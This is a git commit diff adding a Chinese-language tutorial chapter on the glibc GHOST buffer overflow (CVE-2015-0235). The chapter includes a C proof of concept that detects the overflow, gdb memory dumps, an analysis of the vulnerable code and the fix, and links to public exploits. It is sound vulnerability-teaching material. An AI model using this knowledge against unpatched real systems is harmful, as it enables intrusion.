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add 7.1.2
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@ -83,6 +83,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
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* [五、高级篇](doc/5_advanced.md)
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* [5.1 Fuzz 测试](doc/5.1_fuzz.md)
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* [5.1.1 AFL fuzzer](doc/5.1.1_afl_fuzzer.md)
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* [5.1.2 libFuzzer](doc/5.1.2_libfuzzer.md)
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* [5.2 Pin 动态二进制插桩](doc/5.2_pin.md)
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* [5.3 angr 二进制自动化分析](doc/5.3_angr.md)
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* [5.4 符号执行](doc/5.4_symbolic.md)
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@ -117,6 +118,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
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* [6.3.1 web HCTF2017 babycrack](doc/6.3.1_web_hctf2017_babycrack.md)
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* [七、实战篇](doc/7_exploit.md)
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* [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](doc/7.1.1_tcpdump_2017-11543.md)
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* [7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow](doc/7.1.2_glibc_2015-0235.md)
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* [八、附录](doc/8_appendix.md)
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* [8.1 更多 Linux 工具](doc/8.1_Linuxtools.md)
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* [8.2 更多 Windows 工具](doc/8.2_wintools.md)
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@ -2,6 +2,11 @@
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- [AFL 简介](#afl-简介)
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- [安装](#安装)
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- [简单示例](#简单示例)
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## AFL 简介
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AFL 是一个强大的 Fuzzing 测试工具,由 lcamtuf 所开发。利用 AFL 在源码编译时进行插桩(简称编译时插桩),可以自动产生测试用例来探索二进制程序内部新的执行路径。与其他基于插桩技术的 fuzzer 相比,AFL 具有较低的性能消耗,各种高效的模糊测试策略和最小化技巧,它无需很多复杂的配置即可处理现实中的复杂程序。另外 AFL 也支持直接对没有源码的二进制程序进行黑盒测试,但需要 QEMU 的支持。
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## 安装
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@ -14,4 +19,7 @@ $ sudo make install
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```
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## 简单示例
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## 参考资料
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7
doc/5.1.2_libfuzzer.md
Normal file
7
doc/5.1.2_libfuzzer.md
Normal file
@ -0,0 +1,7 @@
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# 5.1.2 libFuzzer
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- [参考资料](#参考资料)
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## 参考资料
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- [libFuzzer – a library for coverage-guided fuzz testing.](http://llvm.org/docs/LibFuzzer.html)
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@ -2,6 +2,7 @@
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- [5.1 Fuzz 测试](5.1_fuzz.md)
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- [5.1.1 AFL fuzzer](5.1.1_afl_fuzzer.md)
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- [5.1.2 libFuzzer](5.1.2_libfuzzer.md)
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- [5.2 Pin 动态二进制插桩](5.2_pin.md)
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- [5.3 angr 二进制自动化分析](5.3_angr.md)
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- [5.4 Symbolic Execution 符号执行技术](5.4_symbolic.md)
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@ -19,3 +19,5 @@
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- [6.2.4 re CSAWCTF2015 wyvern](6.2.4_re_csawctf2015_wyvern.md)
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- [6.2.5 re PicoCTF2014 Baleful](6.2.5_re_picoctf2014_baleful.md)
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- [6.2.6 re SECCON2017 printf_machine](6.2.6_re_seccon2017_printf_machine.md)
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- web
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- [6.3.1 web HCTF2017 babycrack](6.3.1_web_hctf2017_babycrack.md)
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@ -6,7 +6,7 @@
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- [参考资料](#参考资料)
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[下载文件](../src/exploit/7.1.1_tcpdump_bof)
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[下载文件](../src/exploit/7.1.1_tcpdump_2017-11543)
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## 漏洞描述
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tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 `sliplink_print` 函数(位于 `print-sl.c`)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判断,导致操作了非法的内存地址。攻击者可以利用这个漏洞触发拒绝服务,甚至任意代码执行。
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259
doc/7.1.2_glibc_2015-0235.md
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259
doc/7.1.2_glibc_2015-0235.md
Normal file
@ -0,0 +1,259 @@
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# 7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow
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- [漏洞描述](#漏洞描述)
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- [漏洞复现](#漏洞复现)
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- [漏洞分析](#漏洞分析)
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- [参考资料](#参考资料)
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[下载文件](../src/exploit/7.1.2_glibc_2015-0235)
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## 漏洞描述
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glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST,发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出,可以通过 `gethostbyname*()` 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.18 之前。
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## 漏洞复现
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| |推荐使用的环境 | 备注
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--- | --- | ---
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操作系统 | Ubuntu 12.04 | 体系结构:64 位
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调试器 | gdb-peda| 版本号:7.4
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漏洞软件 | glibc | 版本号:2.15
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受影响软件 | Exim4 | 版本号 4.76
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通过下面的 PoC 可以知道自己的系统是否受到影响:
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```c
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#include <netdb.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <errno.h>
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#define CANARY "in_the_coal_mine"
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struct {
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char buffer[1024];
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char canary[sizeof(CANARY)];
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} temp = { "buffer", CANARY };
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int main(void) {
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struct hostent resbuf;
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struct hostent *result;
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int herrno;
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int retval;
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/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
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size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
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char name[sizeof(temp.buffer)];
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memset(name, '0', len);
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name[len] = '\0';
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retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
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if (strcmp(temp.canary, CANARY) != 0) {
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puts("vulnerable");
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exit(EXIT_SUCCESS);
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}
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if (retval == ERANGE) {
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puts("not vulnerable");
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exit(EXIT_SUCCESS);
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}
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puts("should not happen");
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exit(EXIT_FAILURE);
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}
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```
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```
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$ file /lib/x86_64-linux-gnu/libc-2.15.so
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/lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped
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$ gcc -g poc.c
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$ ./a.out
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vulnerable
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```
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很明显是存在漏洞的。简单解释一下 PoC,在栈上布置一个区域 temp,由 buffer 和 canary 组成,然后初始化一个 name,最后执行函数 gethostbyname_r(),正常情况下,当把 name+\*host\_addr+\*h\_addr\_ptrs+1 复制到 buffer 时,会正好覆盖缓冲区且没有溢出。然而,实际情况并不是这样。
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函数 `gethostbyname_r()` 在 `include/netdb.h` 中定义如下:
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```c
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struct hostent {
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char *h_name; /* official name of host */
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char **h_aliases; /* alias list */
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int h_addrtype; /* host address type */
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int h_length; /* length of address */
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char **h_addr_list; /* list of addresses */
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}
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#define h_addr h_addr_list[0] /* for backward compatibility */
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int gethostbyname_r(const char *name,
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struct hostent *ret, char *buf, size_t buflen,
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struct hostent **result, int *h_errnop);
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```
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- `name`:网页的 host 名称
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- `ret`:成功时用于存储结果
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- `buf`:临时缓冲区,存储过程中的各种信息
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- `buflen`:缓冲区大小
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- `result`:成功时指向 ret
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- `h_errnop`:存储错误码
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执行前:
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```
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gdb-peda$ x/6gx temp.buffer
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0x601060 <temp>: 0x0000726566667562 0x0000000000000000 <-- buffer <-- host_addr
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0x601070 <temp+16>: 0x0000000000000000 0x0000000000000000 <-- h_addr_ptrs
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0x601080 <temp+32>: 0x0000000000000000 0x0000000000000000 <-- hostname
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gdb-peda$ x/20gx temp.canary-0x10
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0x601450 <temp+1008>: 0x0000000000000000 0x0000000000000000
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0x601460 <temp+1024>: 0x635f6568745f6e69 0x656e696d5f6c616f <-- canary
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0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000
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```
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执行后:
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```
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gdb-peda$ x/6gx temp.buffer
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0x601060 <temp>: 0x0000000000000000 0x0000000000000000 <-- buffer <-- host_addr
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0x601070 <temp+16>: 0x0000000000601060 0x0000000000000000 <-- h_addr_ptrs
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0x601080 <temp+32>: 0x0000000000000000 0x3030303030303030 <-- h_alias_ptr, hostname
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gdb-peda$ x/6gx temp.canary-0x10
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0x601450 <temp+1008>: 0x3030303030303030 0x3030303030303030
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0x601460 <temp+1024>: 0x0030303030303030 0x656e696d5f6c616f <-- canary
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0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000
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```
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canary 被覆盖了 8 个字节,即溢出了 8 个字节。
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## 漏洞分析
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```
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grep -irF '__nss_hostname_digits_dots' ./*
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./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots
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./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2.
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[...]
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./nss/getXXbyYY.c: if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
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./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
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./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots)
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./nss/getXXbyYY_r.c: switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL,
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```
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通过搜索漏洞函数我们发现,函数是从 glibc-2.2.2 开始引入的,且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用,且需要 `HANDLE_DIGITS_DOTS` 被定义:
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```c
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// inet/gethstbynm.c
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#define NEED_H_ERRNO 1
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// nss/getXXbyYY_r.c
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#ifdef HANDLE_DIGITS_DOTS
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if (buffer != NULL)
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{
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if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
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&buffer_size, 0, &result, NULL, AF_VAL,
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H_ERRNO_VAR_P))
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goto done;
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}
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#endif
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```
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具体程序如下(来自glibc-2.17):
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```c
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// nss/digits_dots.c
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int
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__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
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char **buffer, size_t *buffer_size,
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size_t buflen, struct hostent **result,
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enum nss_status *status, int af, int *h_errnop)
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{
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[...]
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if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
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{
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const char *cp;
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char *hostname;
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typedef unsigned char host_addr_t[16];
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host_addr_t *host_addr;
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typedef char *host_addr_list_t[2];
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host_addr_list_t *h_addr_ptrs;
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char **h_alias_ptr;
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size_t size_needed;
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[...]
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// size_needed 决定了缓冲区的大小,即 *host_addr+*h_addr_ptrs+name+1 (1存储结尾的'\0')
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size_needed = (sizeof (*host_addr)
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+ sizeof (*h_addr_ptrs) + strlen (name) + 1);
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if (buffer_size == NULL) // 重入分支
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{
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if (buflen < size_needed)
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{
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[...]
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goto done;
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}
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}
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else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支
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{
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char *new_buf;
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*buffer_size = size_needed;
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new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区,以保证其足够大
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if (new_buf == NULL)
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{
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[...]
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goto done;
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}
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*buffer = new_buf;
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}
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[...]
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// 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname
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// 与缓冲区相差了一个 h_alias_ptr,64 位下为 8 字节
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host_addr = (host_addr_t *) *buffer;
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h_addr_ptrs = (host_addr_list_t *)
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((char *) host_addr + sizeof (*host_addr));
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h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
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hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
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if (isdigit (name[0]))
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{
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for (cp = name;; ++cp)
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{
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if (*cp == '\0')
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{
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int ok;
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if (*--cp == '.')
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break;
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[...]
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if (af == AF_INET)
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ok = __inet_aton (name, (struct in_addr *) host_addr);
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else
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{
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assert (af == AF_INET6);
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ok = inet_pton (af, name, host_addr) > 0;
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}
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if (! ok)
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{
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[...]
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goto done;
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}
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resbuf->h_name = strcpy (hostname, name); // 复制 name 到 hostname,触发缓冲区溢出
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[...]
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goto done;
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}
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if (!isdigit (*cp) && *cp != '.')
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break;
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}
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}
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```
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注释已经在代码中了,也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞,需要满足下面几个条件:
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- name 的第一个字符必须是数字
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- name 的最后一个字符不能是 "."
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- name 的所有字符只能是数字或者 "."
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- 必须是 IPv4 地址且必须是这些格式中的一种:"a.b.c.d","a.b.c","a",且 a,b,c,d 均不能超过无符号整数的最大值,即 0xffffffff
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对比一下 glibc-2.18 的代码,也就是把 h_alias\_ptr 的长度加上了,问题完美解决:
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```c
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size_needed = (sizeof (*host_addr)
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+ sizeof (*h_addr_ptrs)
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+ sizeof (*h_alias_ptr) + strlen (name) + 1);
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```
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## 参考资料
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- [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235)
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- [Qualys Security Advisory CVE-2015-0235](http://www.openwall.com/lists/oss-security/2015/01/27/9)
|
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- [Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)](https://www.exploit-db.com/exploits/36421/)
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- [Exim ESMTP 4.80 - glibc gethostbyname Denial of Service](https://www.exploit-db.com/exploits/35951/)
|
@ -1,3 +1,4 @@
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# 第七篇 实战篇
|
||||
|
||||
- [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](7.1.1_tcpdump_2017-11543.md)
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- [7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow](doc/7.1.2_glibc_2015-0235.md)
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|
38
src/exploit/7.1.2_glibc_2015-0235/poc.c
Normal file
38
src/exploit/7.1.2_glibc_2015-0235/poc.c
Normal file
@ -0,0 +1,38 @@
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||||
#include <netdb.h>
|
||||
#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <errno.h>
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#define CANARY "in_the_coal_mine"
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||||
|
||||
struct {
|
||||
char buffer[1024];
|
||||
char canary[sizeof(CANARY)];
|
||||
} temp = { "buffer", CANARY };
|
||||
|
||||
int main(void) {
|
||||
struct hostent resbuf;
|
||||
struct hostent *result;
|
||||
int herrno;
|
||||
int retval;
|
||||
|
||||
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
|
||||
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
|
||||
char name[sizeof(temp.buffer)];
|
||||
memset(name, '0', len);
|
||||
name[len] = '\0';
|
||||
|
||||
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
|
||||
|
||||
if (strcmp(temp.canary, CANARY) != 0) {
|
||||
puts("vulnerable");
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
if (retval == ERANGE) {
|
||||
puts("not vulnerable");
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
puts("should not happen");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
Loading…
Reference in New Issue
Block a user